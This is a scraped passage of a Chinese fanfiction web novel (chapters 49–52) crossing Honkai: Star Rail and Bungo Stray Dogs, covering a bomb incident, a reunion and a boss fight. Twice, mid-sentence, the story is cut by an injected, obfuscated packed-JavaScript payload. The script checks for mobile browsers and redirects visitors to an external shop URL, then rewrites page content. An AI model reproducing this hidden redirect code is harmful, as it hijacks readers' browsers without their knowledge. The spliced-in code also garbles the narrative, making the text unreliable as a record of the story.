一向表面情感很淡的江沅清没忍住扯开嗓子嚎了一声:“小墩同学!” 中岛敦跪趴在地,痛苦地咳了两声。 “我咳咳,没事,咳咳咳咳咳。” 你这样看着不像是没事啊喂! 你不是港口的黑/手党吗 49.争辩 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 小织同学并没有和她坦白过自己的异能,但也没有遮掩,凭借着江沅清的观察力自然能猜个七七八八。 所以当她看见织田作之助捡起定时炸弹并且发动异能的时候,就清楚他要做什么了。 他要用自己无数次的死亡编织出一条通往正确的路。 她忽然意识到了一个很严重的问题——这里的织田作之助对“死亡”这件事情似乎习以为常,那么,她那边的小织同学呢? 他是否也对此感到麻木? 一个人如果不能怀着对死亡的畏惧而活,那么他便是一具有思想的行尸走肉。 如果小织同学的异能力可以被动地预见自己的死亡,那死的次数多了,他还会有畏惧之心吗? 如果没有,那么他又是为了什么而活? 江沅清自认为不是个心思细腻的人,可是透过眼前这个神色平淡的人,她看见了被自己捡来的小可爱的影子。 即使知道这俩不是同一个人,可心里还是不可避免地有所触动。 她想要所有的织田作之助都活下去,站在阳光底下活下去。 异能力发动,然而预料之中的死亡却没有到来。织田作之助看见画面中突兀地伸出来一只纤长的手将他手中的定时炸弹抽走,再一抬头,就和那双含笑的眼睛对上了视线。 来自港口的那个自称是心理医生的女人笑意吟吟道:“小织同学,这种装逼的事情得交给前辈来哦。” 回到现实中的织田作之助扭头看向江沅清,正好看见她快步向自己走来。 哎?怎么就突然扭头看向她了?总不能是用异能预知到了什么吧? 可恶,这种异能真的是超级作弊啊!她不服!为什么不给她也发一个!直接形成你预判了我预判了你的预判这样的无限循环模式。 “小织……织田先生,”迎着织田作之助看不出什么情绪的目光,即将脱口而出的“小织同学”被她按在嗓子眼咽了下去,转成了礼貌的称呼,她抽走织田作之助手中的定时炸弹,微微一笑道,“我可以解决这些定时炸弹。” 江沅清现在还没找到属于自己的时空系异能,但这不代表她没有时空方面的能力——她可爱的大宝贝星可是送过她一个可以容纳万物的空间背包啊! 她试过了,背包里面的时间相对外界来说是静止的。 兴许后续的处理会有一些麻烦,可这比织田作之助用一次次的死亡去换正确选项划算得多。 江沅清随手将炸弹丢进空间背包,但在别人的眼里那就是炸弹在她的手中凭空消失了。 原本已经等着死亡结算的男人骤然瞪大了眼睛,浮于表面的平静彻底碎裂开来,露出他藏在深处的怨毒之色:“你是空间异能者?不,怎么可能!怎么会有空间异能者!你的异能力是什么?你为什么会有空间异能!” “是的没错,我就是空间异能者,从出生起就有异能了,”江沅清一边飞速捡着定时炸弹,一边忙里偷闲比了个大拇指,自信承认道,“异能力叫姐只是个传说,嘻嘻,没想到吧?” 所以不要迷恋姐哦~ 但很显然,横滨不玩这个梗,那个男人竟然相信了她随口编的话。 他怨恨的视线钉死在了她的身上。 被这样盯着看以至于有些汗流浃背的江沅清差点没捡完炸弹。 她以后再也不玩抽象了,第一是没人懂她的幽默,第二是有人真的把她当傻X。 好在最后还是卡点赶上了。 看着最后一个定时炸弹上面显示的时间固定在了“00:03”上,这一天快把她一周的运动量都消耗光的江沅清长长舒了口气。 她举起袖子一擦脸上的细汗,转头就看见了国木田独步略显警惕的目光。 喂喂喂!刚刚还是携手与共的伙伴,演着你好我好大家好的那一套,怎么现在又警惕起来了! 难道我们的友情就只能在死亡前勉强显现一下吗? “咳,”江沅清慢吞吞走到中岛敦的身边,挺直了腰板看向国木田独步,“既然事情已经解决了,那我们就走了?” 国木田独步冷声道:“你们走可以,人留下。” 他指的是被中岛敦扣押住的炸弹狂魔。 江沅清没有再说话,反倒是忽视了中岛敦的目光,摸出手机假装自己很忙。 你看这手机真手机啊,没见过这么手机的手机,多看会儿。 来到横滨之后,她手机的网络就消失了,得出了互联网其实并不互联的结论,江沅清也没有办法,顶多拿这玩意儿打打俄罗斯方块。 哦,贪吃蛇也好玩! 咳,现在不是俄罗斯方块大战贪吃蛇的时候,她拿出手机完全是为了逃避回答,毕竟她这一路出工又出力的,中岛敦没得到什么锻炼的机会。 这样好的闹掰现场,当然得让这孩子撸袖子上去干。 中岛敦皱眉,很有气势地说出了类似幼儿园小孩儿吵架的效果:“不行,人是港口的,不给!” 喂喂喂你是什么跟好朋友吵架的三岁小孩儿吗! 国木田独步不满道:“你们港口未免过于霸道了,即使是罪犯也该交由正义审判!我们会联系警察局,而不是看着他落入你们的手中,被你们动用私刑。” 可恶,这么说来,国木田独步非常占理啊,她都要被说服了。 不是,等下,自己好像是太宰治派来帮忙的人? 差点忘记自己是哪边的江沅清心虚地清了清嗓子。 中岛敦也是有些沉默,似乎是被这话怼得哑口无言。 喂喂喂?难道太宰治那小子真的搞这一套?好一个法外狂徒! 不行,见到了他一定要跟他聊一下普法教育! “这是针对港口的阴谋,如果交给了你们,对我们不利,”中岛敦的大脑飞速转动着,坚决道,“要给也只能是我们问清楚情况之后!” 国木田独步寸步不让道:“人到了你们港口还能出来?你们港口恐怕还没有这个公信力。” 偷听了一会儿,感觉自己上了逆O裁判法庭现场的江沅清没忍住打出了一个“异议”! 这声异议一出来,她能感觉到正反双方辩手的视线全都聚集到了她的身上。 “……我的意思是,怎么能这样揣度他人呢,”江沅清有些气虚道,“港口也不会……真的不还吧?” 还押着人不方便说话的中岛敦努力扭头凑过来小声道:“是真的。” 这净拆台的死孩子!你到底是哪头的啊!这是你诚实的时候吗! 兴许是看在刚才一同度过难关的份上,国木田独步没有恶言相向,而是坚持道:“人必须交由我们带走,带去警察局,不过我们可以保证,如果再有任何消息,一定会第一时间通知港口。” “我们也是同样,但是人必须要去港口。” 眼看着两人争执到了无法和解的死角,恐怕再吵下去就要大打出手了,江沅清终于收起手机幽幽一叹气。 小墩同学,你如果一直这样说下去,就只能是“吵架”了。 她慢慢走到国木田独步的身前,声音平静地指出一个匪夷所思的问题:“你真的确定警察局是安全的吗?” 国木田独步一愣,皱眉看着江沅清:“什么意思?” “幕后之人不是他,没有异议吧,毕竟这个人看着没那么聪明。” 国木田独步扫了一眼被他们俘获的人质,不情不愿地点了点头。 江沅清慢条斯理道:“我们走的每一步都在幕后之人的算计之内,从挑衅信到匿名委托,接着是我们两边恰好相遇、追查真凶,还用一楼的油漆掩盖三楼的汽油味,再用二楼的陶瓷碎片制造思维误区从而拖延时间。” “要做到这些,不仅需要幕后之人对港口和武装侦探社了解甚多,还要他有一颗十分缜密的大脑,他算到了我们会做的每一步……甚至有可能成功阻止爆炸的发生也在他的算计之内。” 她很少会说这么长一段话,说着说着就累了,于是从空间背包里摸出来一瓶功能饮料咕嘟嘟灌了两口——反正她已经暴露自己的“空间异能”了,就不用口袋遮掩了。 她又不是哆啦A梦,口袋里哪能变出来那么多神奇物品。 在江沅清休息的时候,众人没发出一点声音,似乎是在沉思她抛出的设想。 50.不能失去的人 “你知道‘因果’吗?” 太宰治既然打定主意告诉她什么,那自然不会像之前那样装无辜了。 也正因如此,他一开口就甩出了王炸,听得江沅清怀疑自己的耳朵是不是出了点毛病。 ……一定是耳朵太累了吧?也是嘛,毕竟一天到晚都在工作没有停歇,真是辛苦你了耳朵,都幻听了呢! 怎么会是太宰治真的连夜开着私人飞机飞去种花家学习了某些神秘道术啊?听听,你听听!“因果”这个词都冒出来了! 但考虑到太宰治他这个人的不确定性,江沅清没敢露出怀疑人生的神色,只是故作镇定道:“嗯,听过。” 对面靠在椅子上的男人缓缓坐直了身体,他将双手交叉在一起,窗外明亮的阳光洒在他出色的脸上,却并没有照亮他鸢色的双眸,反而在亮堂堂的桌子上投射出一道瞩目的阴影。 “你失去的记忆,和‘因果’有关,所以一旦告诉你所有事情,你身上暂时消去的因果束缚就会全部回来,你的计划也会失败,这样,你还想知道吗?” 这话有点绕,江沅清在脑子里捋了半天才搞清楚他所表达的意思:她失去记忆也是计划的一部分,假如提前知道了,计划就彻底宣告失败了。 ……这不就是什么都不能告诉她吗! 不愧是当首领的,说废话都说得这么高深。 这人看似在言辞恳切地征求她的意见,实际上就差把莫挨老子挂在脸上了! 他都这样说了,难道她还能说“好啊好啊计划失败就算了吧!下次再来呗!所以你告诉我吧!” 哎……其实也不是不行,没别的意思,就是纯粹想看看太宰治会是什么反应…… 但想到还指望从他的嘴里敲打出边边角角的信息,江沅清最后还是遗憾地放弃了这个想法,转而问道:“真的什么都不能说吗?那我大概无法知道我现在是否还走在正确的计划上。” 到底什么计划才会让她这样两眼抓瞎地上了啊? “我能告诉你的只有……” 江沅清专注听着,发现太宰治抬头望向了她的眼睛。 那双始终蒙着一层疏离的眼睛浮现出了她无法看懂的情绪。 太宰治侧头轻轻笑了一声,一束不安分的阳光冲破层层阻碍,在他的眼睛里搅动出了一缕晶晶亮亮却转瞬即逝的光。 “寻找世界之外的力量,去改变既定的命运,这一次,不能失败。” 江沅清来不及回答,甚至她都没有琢磨开这句话的意思就被眼前一阵突兀闪过的白光卷走了所有的意识。 在视线彻底被黑暗覆盖之前,江沅清忽然想到太宰治说时空隧道三天才好就把她诓去干活的事情。 ……她就知道这小兔宰治在坑她!记仇了! 意识刚刚归位,江沅清眨眨眼看了下陌生的天花板,慢慢扫了一圈四周又静静闭上了眼,脑子迟缓地运转了起来。 哦,是回到那个仓库了啊。 “江沅清!” 哎?难道她的耳朵被那小兔宰治荼毒太深,所以幻听这个症状越发严重了? 不然她为什么能听到久违的属于小织同学的声音? 关键要是平常那种冷冷淡淡声音还好,但是她刚才听到的分明带着点哭腔的啊! 敲重点,是!哭!腔! 不要啊!虽然她已经医者不自医了,但是崩铁那边的科技十分发达的!一定可以治好的!她这种治好了绝对不会流口水的,所以不要放弃她啊! 江沅清一个激灵猛然睁开了眼睛,正对上一张眼眶微微泛红的脸。 其实只有几近于无的一点红色,但碍于眼前的少年平时没有什么情绪波动,所以这点红色还没有晕染而开就已经扎进了她的眼睛里。 不!她的眼睛怎么也花了!她怎么看见一个疑似是小织同学的少年在要哭不哭啊? 横滨之行到底给她带来了什么啊?医生,医生救救啊,难道真没治了吗?! 不等她再愣怔下去,一个混杂着浅浅硝烟味的怀抱就已经迎了上来。 这个怀抱并不柔软,也不够温暖,但却莫名让人安心。 江沅清下意识回抱了过去,敏锐地察觉到少年的身体有些颤抖。 啊?不会真哭了吧?难道在她走的时候,发生了什么大事? 不会吧?以小织同学这个天塌了也无所畏惧的性子,谁能弄哭他啊! 她不确定地问了出声:“小织同学?这是怎么了?” 比她矮了一个头的少年靠在她的怀里顿了顿,他闭上眼睛,深深吸了口气。 “没有事情,”织田作之助缓缓松开手,像是什么也没有发生过一般,垂眸道,“对不起,江沅清,是我失态……” 他的话还没说完,一个柔软的怀抱便将他包裹了起来。 “唉,想抱就多抱会儿啊。” 仗着身高优势净使坏的大姐姐将他整个抱住,把下巴搭在他的头顶叹了口气道:“看你的表情可不像没有事情的样子哦?什么时候我们的小织同学也有了心事呀,真的不可以和我说说吗?” 淡雅的幽香在他的鼻尖萦绕着,时不时分出一丝一缕来把他的心神整个包围。 织田作之助蓦然瞪大了眼睛,平稳运行的心脏开始不受控制地疯狂跳动着,血液在争先恐后地朝着大脑涌去,连带着呼吸都停滞住了。 这种感觉有些熟悉,却又十分陌生——他只在很久很久以前,在第一次预见自己死亡的未来时才有过这样的体会。 ……可又不是全然相同。 在日复一日的死亡麻痹下,他早已忘却了那种感受,现在想来,却是刻骨铭心的清晰。 很奇怪。 “嗯……江沅清。” 在绞尽脑汁思考怎么哄人的江沅清恨不得掏出手机偷偷搜索《高情商说话技巧》的时候,她听到了少年有些发闷的声音,于是下意识回道:“嗯?” 他轻声说道:“下一次,请不要丢下我。” 嗯……嗯嗯嗯? 清汤大老爷明鉴!她冤枉啊!这不是她想不想丢的问题啊!她是被这片空间丢出去的那个吧! 唉,不过这孩子看着冷冷淡淡没什么情绪,但私底下竟然这么粘人啊!果然还是个小孩子啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12785390|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全理解错意思的江沅清笑眯眯拍了拍他的后背:“没问题,不对我对小织同学也有同样的要求哦。” 在她生出想要织田作之助好好活下去的念头之后,江沅清就开始盘算需要怎么做了。 兴许是她真的不聪明,她想了许久也只是想到了一个没什么用的办法,那就是带着他去避世隐居。 ……这不就是老爷爷培养计划嘛,直接扼杀少年人的天性了,什么馊主意。 然而让织田作之助体验无数次死亡的根源就是他的异能力,是他无法割舍的一部分。 江沅清只好把人按在眼皮子底下,至少让她看着,起到一点聊胜于无的作用吧。 不过没关系,如果他没有活下去的意义,那她就带着他慢慢寻找——反正我们开拓者浪迹天涯,在星海之间来回穿梭,见识过世间万物。 和他们一起旅行的织田作之助一定会在众生万象中找到属于自己的存在意义。 当然,这些考量她不打算告诉小织同学。 毕竟只有自己在无意间找到的,才是真正的意义。 “嗯,我不会离开江沅清的,”织田作之助的声音不大,他顿了顿,朝着江沅清打出了一记直球,“我不能失去你。” 啊啊啊啊好乖的小宝贝!她上辈子一定拯救了银河系才能捡到我们可爱的小织同学吧! 江沅清高兴得差点当场在地板上扭曲爬行三百里,她放肆地搓了搓织田作之助的头,按下快要飙出嗓外的高音咳了一声故作镇定道:“咳,我也是!” 一声震惊的猫叫响了起来。 循声望去,两只猫儿眼瞪得浑圆的三月小猫站在一堆布料之上,视线从她的身上下落到织田作之助的身上又缓缓上升到她的身上。 她忽然就假装深沉,痛心疾首地摇了摇头。 松开织田作之助,江沅清狞笑着拎起三月小猫的后颈,一边捋顺了她身上乱糟糟的毛毛,一边凑过去和她脸对脸四目相视。 “小三月,你怎么也在这里?怎么只有你们,星呢?” 她记得他们是分头行动的来着? 对了,星呢?怎么她也消失了?糟了,不会跟着她被拉去了隔壁的世界吧? 不应该啊?她完全感受不到她的气息! 理直气壮的三月小猫叉腰对着她谴责叫了数声。 完全听不懂猫话的江沅清只好把视线投向了在场的其它人。 一个是蹲在布料边上伸手仔细翻找的刃,一个是眼神清澈的织田作之助,一个是在布堆中钻来钻去的丹恒喵。 等下?丹恒?钻来钻去?你说是星披了个丹恒皮她都信。 织田作之助指着那堆几乎要被他俩翻出花来的布匹,言简意赅道:“在这里消失了。” 不会吧!星不会真的被她拉到隔壁世界了吧? 不,要冷静,她可是崩铁的主角啊!主角有什么奇遇的很正常吧? 啊啊啊啊那也不行啊!她的星宝! 江沅清没敢再歇着,连忙起身凑过去也跟着翻找。 只是她的手一碰到那边的布匹,一点浅银色的光便浅浅亮了起来。 51.苦难由我终结 当手中的浅银色光芒汇聚到一起,在众人眼前推开一条宽敞大路的时候,江沅清有些沉默地盯着自己的手看了一会儿。 手,你说句话啊,你什么时候背着我成了主角? 这一伸手就打开一条暗道的待遇不是主角才有的嘛,什么时候安到了她的身上? 试图狡辩这是手在自作主张,江沅清转头欲言又止了片刻,看着光速聚集到她身后的两人两猫,迟疑道:“……怎么回事?” 刃的长剑已然出鞘,他单手提着剑踏上那条宽敞的路,视线凝在尽头的那扇沉重的铁门上,沉声道:“就是这里,走。” 江沅清知道刃不善言辞,没多问他,转头看向了织田作之助。 少年想了想,言简意赅道:“在星消失之前,也出现过这条路,持续的时间很短。” 他这样一说,江沅清自然就懂了。 这不就是属于主角的副本嘛!所以说果然还是星的锅吧! 看起来现在是需要他们这些伙伴嚷嚷着什么羁绊啊友谊啊就这样冲上去的时候了。 紧跟着丹恒喵和三月小猫,她也走上了那条路,想了想,回头向后对着织田作之助伸出了手,笑道:“走吧,小织同学,喜欢冒险吗?” 织田作之助仔细思考了一会儿,诚实地摇了摇头。 啊啊啊啊你这实心眼孩子!这种明明应该很感动的时候你摇什么头啊喂! 在江沅清尴尬的想要缩回手的时候,少年轻轻把手搭了上去,随后紧紧握住了她的手。 “喜欢和江沅清一起冒险。” 他这样说道。 在这个瞬间,江沅清的心脏骤然停止了跳动,一种陌生的心悸在上面缠绕着,她不敢细想,呼吸停了片刻之后将这种感情驱逐出脑海。 不好!快收起你糟糕的想法!对好看的人心动片刻可是人之常情!不能乱! 深吸一口气,她故作镇定地笑了笑:“那么走吧,带你去冒险。” 少年垂下眼帘,随后“嗯”了一声,牵住她的手跟她并肩而行。 门后的世界出乎意料的诡异,一条无限延长的小路在他们几个人之间铺展开来,一直到看不见的深处,小路两侧是纠缠在一起的虚影。 酷似手臂的虚影上面长满了眼睛,和它们一对视上,江沅清的脑子就像被针扎一般疼得要命。无数难以处理的复杂信息纷纷划过,差点要把她冲击成傻子。 好在织田作之助的手及时搭在了她的眼睛上,隔绝了她和眼睛们的对视,让她找回了理智。 想着把孩子放在眼底好保护他的江沅清没想到被他保护了,一时间有些为自己的冲动感到惭愧,她刚想说些什么,却听到织田作之助严肃的口气:“江沅清,他们消失了,不要回头看。” 他们?消失? 糟,是丹恒他们! 不过应该暂时不用为他们担忧,毕竟那三位各个身怀绝技,还有主角团光环的庇佑,怎么想都不可能死得不明不白。 ……但是小织同学和她这俩有点能力的普通人可不是啊! 所以说喊着友谊啊羁绊啊真的能有用嘛! 江沅清按住自己下意识回头的动作,目不斜视地盯着小路那漆黑一片的尽头,沉声道:“向前走吧,小织同学,我有预感,道路的尽头有解答我一些疑惑的东西。” 织田作之助的头微微动了一下,似乎是很想侧头看她,但他很好地忍住了。 眼角的余光察觉到了这个动作,江沅清问道:“怎么了?” “江沅清,你不害怕,为什么?” 她喜欢织田作之助这样什么问题都可以往外说的耿直性格,虽然有时候乍一听他的话她会有些措手不及,但却可以避免很多不必要的误会。 “嗯,”她轻轻笑了一声,声音柔和,“因为我相信我的同伴们。” 织田作之助喃喃道:“同伴……” 江沅清重复着,加重了语气以示强调:“是哦,同伴。” 同伴的意义可不仅仅是表面的两个字,它有着更深层次的需要自己去探索、经营的东西。 但同样的,这些不应该由她直接教给小织同学,他不曾体验过那种感觉,自然也不会拥有对应的情绪。 少年低头道:“我不明白。” 哎呀,毕竟之前都是孤身一人,不明白是正常的啦,但是有问题就问是好孩子行为! 天杀的,被列车那俩二货折腾久了,她已经好久没有见过这种好孩子了,差点当场眼泪汪汪地告诉他保持住,不要被染黑。 但是注意形象的江沅清忍住了,她想了想,告诉他:“没关系,小织同学,我现在就是你的同伴,你会相信我吗?” 织田作之助点了点头。 江沅清自信道:“这样的信任,就是来源于同伴哦。” 万籁俱寂中,狂风呼啸而过,将织田作之助非常浅的声音卷走了:“……不一样的。” 但耳力很好的江沅清还是听到了他的话。 ??? 她是不是听到了什么反骨发言?!等下,她刚夸过好孩子不用担心,怎么就变问题儿童了! 难道她真的不适合留在心理咨询这一行拖后腿,而是换去劝谁谁不听的领域和某个人一起发光发热? 不对,一定是她听错了吧? 她发出了迟疑的声音:“嗯?什么?” 红发少年抿了抿唇:“没什么,江沅清,我知道了。” 哎,她就说嘛,是耳朵出问题了。 这一路走得太过安静,旁边的织田作之助更是个闷葫芦,江沅清开始找话题。 “等我们从这里出去,就可以看见列车的两位大家长了,一个是特别厉害的大美人姬子,她很有手段,也很温柔,一个是很神秘的帅大叔老杨,他虽然平时喜欢打电动,但是很博学……” 她絮絮叨叨地说着,红发少年认认真真地听着。 就这样,两人并肩走到了路的尽头,看见了一个半边身子已经镶嵌在肉球里的人影。 那是一个金发碧眼的少年,他端坐在肉球内,左手托腮,脸上的无聊之色在见到江沅清的瞬间消散殆尽,转而变成了一种具象化的癫狂。 等下,怎么感觉是冲着她来的?有点过于奇怪了吧? 江沅清悄悄向后退了一步,织田作之助也莫名其妙地跟着退了一步。 她悄悄用手肘捣捣旁边的红发少年,少年回望她。 江沅清压低了声音道:“我感觉他长得好眼熟,你认识他吗?” 织田作之助点了点头。 “两位,现在可不是窃窃私语的时候,”金发少年起身,背后的肉球也跟着他起立,拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822545|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉下黏黏糊糊的一长段不知品种的肉,他笑道,“我在这里等候你多时了,江小姐,悲剧终于要在今天迎来终结。” 这种咏叹调一般的讲话方式听得江沅清眉头紧皱,她拿眼扫了一圈四周,眼尖地看见一个昏倒在地的灰发女子。 她被层层叠叠的皮肉包裹着,只露出一张安详得宛若睡美人的脸。 啊啊啊啊星!姐妹,你怎么似了! 这样的地狱玩笑在她的脑子里一闪而过,她测算了一下两人的距离,看向那个金发少年的视线一凝,神色也认真了不少。 “你想干什么?” “干什么?当然是做想做的事情,”少年张开双手,似乎在拥抱他眼中光芒万丈的未来,“江小姐,我已经给过你机会了,你其实不该来这里的。” “我不知道你给过我什么机会,也不清楚我为什么不该来这里,我只知道,我的同伴在这里,”江沅清冷声道,“你想做什么?” 既然这个少年愿意和她说一些废话,那么江沅清也乐得多听一些。 金发碧眼的少年在朝着她一步步走来,江沅清感受到织田作之助握着她的手骤然收紧了一些,她不清楚什么情况,安抚性地捏了捏。 “江小姐,你见过下等人的苦难吗?” 似乎是触发了什么诡异的机关,一幅幅画面在她的眼前飞速闪过,肮脏的、破败的仿佛蒙上了一层灰的街道,衣衫褴褛的面露惊恐的人们,漂浮着黑水与水藻的河流、蒙在天上的黑烟,他们乱七八糟的,在江沅清的脑子里晃来晃去。 最后,画面定格在街角遇见的那个有着一双漂亮眼睛的少年身上。 她失声道:“约书亚?!” 那个找她要了一个面包的少年! 不是,等下,她如果没记错的话,临走之前他说的分明是“我会报答你的”而不是“我会报复你的”吧?! “是我,”少年的神色柔软了片刻,而后被冷硬取代,“江小姐,苦难的时代已经来临,而我不会再重蹈覆辙。” 江沅清的眼皮开始不分场合地跳起了欢快的舞,察觉到不对,她连忙劝道:“有什么事情可以好好商量的……” 她现在还一脸懵逼呢!怎么回事啊?为什么找她乞讨了一个面包去果腹的少年,竟然疑似幕后boss啊?! “来不及了,”遮天蔽日的浓雾开始长出了触手,向四周蔓延而开,少年身后的肉球附在他的身上慢慢蠕动,似乎要将他吞噬殆尽,“苦难,由我终结。” 喂喂喂?等一下!你这是在干什么啊!有什么话好好说啊!啊啊啊啊啊! “呃……” 捂着头的星挣脱开裹着她的皮肉,刚发出一声迷茫的低吟,眼角的余光就瞥见了站在原地一动不动的江沅清。 她甩了甩头,想说些什么,却听见江沅清一句惊呼:“小心!” 星一挥手,被策划ban掉的棒球棍显现在手,她看也没看,顺着风递过来的动静对着后边狠狠一砸。 气势汹汹奔着她而来的雾气触手被棒球棍挥散,她才有空一溜烟小跑到江沅清身边问道:“老婆?你怎么?” “好问题,”江沅清很想从兜里掏出一根烟深沉地点上,“我也想问。” 她也想知道,什么时候!BOSS战!开了! 星你说句话啊! 52.融合(二合一) 接收到江沅清欲言又止的视线,星努力分辨了一会儿,一起旅行多时的默契感此刻终于涌现了上来。 但很可惜的是,星也没有话说。 她无辜地回看过去,顺便对着她眨眨眼睛,露出一个颇显尴尬的笑容。 江沅清摸向口袋,发现星送给她的背包在这里无法打开,她退而求其次,从兜里取出来两枚有棱有角的十面骰顶在指尖滴溜溜转着。 她警戒道:“这里发生了什么?” 星单手插兜,手中的棒球棍不安分地晃动着,她故作严肃道:“很显然,我们四个当中出现了一个正在和邪神融合的信徒,不是我,不是你,不是他,老婆,你觉得会是谁?” 江沅清松开牵着织田作之助的手,她单手扣住星的肩膀,脸上挂着瘆人的微笑说道:“好好说话,如果你还想见到你那一千六百星琼。” 星倔强地摇了摇头,指尖捻在一起做出了“钱”的动作,她深沉道:“这是另外的价钱,亲兄弟也要……” 她的话没说完,江沅清就把骰子轻轻一抛再全部攥入手中,空出来的手握成拳后也跟着搭上了星的肩。 很懂紧急避险的星光速改口:“不过你是我亲亲老婆,一家人不说两家话!” 织田作之助身形一顿,轻轻瞥了她一眼。 察觉到这一眼的星觉得莫名其妙,她没去理会这个看着就未成年的小孩儿,星言星语地把现在的情况解释了一遍:“有个吃饱了撑的大少爷非得离家出走,然后想象力就被贫穷刷新了,他决定让贫穷从世界上消失,被那个瘟神骗得裤衩子都没了还特别骄傲,现在正在和那骗人的瘟神融合呢。” 江沅清顺着她手指着的地方看去,大半截身子已经被肉球吸进去的约书亚正在凝视着他们,她不好意思地对着他笑笑,抬手把星的手按了下去。 有你这样当着人家的面说小话的吗!这孩子到底跟谁学的啊? 她拉过织田作之助,让他们三个人把头凑到一起,随后压低声音道:“那我们需要做什么,要阻止融合吗?” 这才是说小话的正确打开方式! “……” 红发少年有些沉默地也看了她一眼。 星两眼发光,跃跃欲试道:“什么,要阻止融合吗?” 啊?这个问题不是她先问的吗?敢情好啊,你小子在这里呆了这么久,竟然不知道要做什么? 不等她迟疑的声音发出来,约书亚便开口道:“江小姐,你们现在正在神的领域,而我,则是神,你们的一举一动、所思所想,都在我的感应之内。” 哦,懂了!言下之意是不管当面说小话还是背后蛐蛐,他都能听得一清二楚。 那还要什么氛围感啊?直接大胆开麦不就好了? 江沅清松开边上那两人,看向神色逐渐趋于祥和的约书亚,挑眉道:“我很好奇,你要用什么样的方式终结你所说的苦难。” 有人在的地方就有纷争,有太阳在的地方就有阴影,苦难这个词太过广泛,终结苦难也是很抽象的一个概念,他要如何实现他的理想? 不知道是不是还在惦念着那一个面包的恩惠,约书亚对她的话有问必答。 “如你所见,我将成为新神,创造新的秩序,在我的秩序之下,一切贫穷和苦难都将荡然无存。” 江沅清戳戳左边的星,小声道:“元芳你怎么看?” 星元芳推了推不存在的眼镜,义正词严地指着约书亚:“心机之蛙一直摸你肚子!” 串片场了喂!现在是你在这里耍活宝的时候吗!小心隔壁柯南片场找你要版权费! 带头的江沅清“啧”了一声,只许州官放火不许百姓点灯:“好好说话!” “哦……我的意思是策划也太喜欢偷懒了,”星耷拉下眼皮也跟着小声说道,“这BOSS有点山寨隔壁匹诺康尼的设定了吧?能不能扣他工资啊?” 她这么一说,江沅清也有了点既视感,她迟疑道:“你是说……星期日?” 这么一想,好像确实有那么一点相似的地方?就比如说他们都过于理想了。 可是眼前这个大肉瘤子怎么想也不能碰瓷秩序的星神吧!星期日的格调得被拉得多低啊! 星回头幽幽看了她一眼,声音幽怨道:“老婆,那可是我大义未成就中道崩殂的义父二号,他怎么能和我义父二号比啊!” 周休七天!要不是剧情需要她义正词严地斥责他,她早就抱着星期日的大腿喊着“燕子你带我走吧我不能失去你啊燕子”了。 还没有来得及向星投以无语的视线,约书亚就先发言了,他看上去很想说些什么不能过审的话,但又碍于某些因素,最后憋出来一句:“我听得见。” 他能不能听见管她什么事? 星觉得这些人各个都莫名其妙,她回头理直气壮道:“我知道你能听见啊。” “……你们无法阻止我的融合,这是既定的未来,”大概是被星噎住了,约书亚的话在喉咙里卡了半天才顺利地说出来,“如果你们现在拜服,我可以收下你们当神侍,享受永生。” 不知是不是他在和“神”逐步融合带来的影响,江沅清蓦然觉得心神一阵恍惚,像是被蛊惑了一般,她觉得约书亚的话有着神奇的吸引力。 不等她抛着手中的骰子来和脑海中的声音对抗,她就听到了星炮语连珠的发问:“等下,能讲一下神侍的工作时间和薪资待遇吗?有五险一金吗?加班吗?有加班补贴吗?福利怎么样?有强制团建吗?” 约书亚皱眉道:“荒唐,能成为神的侍从是你们的荣幸。” 差点就要自愿去打白工的江沅清一个激灵,猛然清醒过来。 她反手把专心听着这些的织田作之助拉过来,双手堵着他的耳朵,声音急促道:“不要听!” 太可怕了!她听到了什么?送上门的免费仆人! 更可怕的是她刚刚真的很想去!太邪门了吧! 织田作之助搭上她的手,轻轻点了点头:“嗯。” “哦,是小气的山寨货,”手中的棒球棍利索地甩了两圈,星拧了拧手腕,歪头道,“你还有什么遗言吗?” 约书亚没说话。 大片浓雾触手在天边挥舞了起来,宛若压顶的乌云,星提着棒球棍击退缠上来的触手,棒球棍所及之处闪烁着劈里啪啦宛若闪电的光,把脸色逐渐扭曲的约书亚照得一闪一闪的。 “待我彻底融合,就是你们被吞噬的时候!” “这就开打了吗,”头疼的江沅清叹了口气,她找了个姑且安全的犄角旮旯把织田作之助按在后面,指尖的骰子再次飞速旋转了起来,她叮嘱道,“小织同学,小心一点,我去给友方上点buff再回来。” 一直沉默着的织田作之助反手握住了她的手腕,他的视线凝在翻滚的浓雾上,又轻轻转了回来,落到江沅清的身上时温和了很多。 他声音有些沉闷道:“江沅清,我想帮你。” 啊?他们神仙大战星核,你一个普通人上去干嘛啊!别说接一道正面攻击了,被余震波及到了也得吐血三升回去躺个三天三夜吧! 就算有异能那也没办法和崩铁世界的这群非人类相比吧!根本不是一个量级的啊! 然而她的“不行”还没来得及脱口而出,就对上了少年明亮的眼睛。 江沅清张了张嘴,却发现自己忽然哑了声。 和最初见面时那双情绪荒芜的眼睛不同,织田作之助现在的眼睛里多了点亮亮的神采,像是坚毅,像是无畏,也像是某种毅然决然。 她从来没有一刻像这样清晰地意识到自己对他的影响——那是情绪上的耕耘,也是生活上的指引。 真要说起来的话,确实有点麻烦,可是她不讨厌这样的麻烦。 反正织田作之助身上还有她的骰子印记,总归有她在分担伤害,是死不了的。 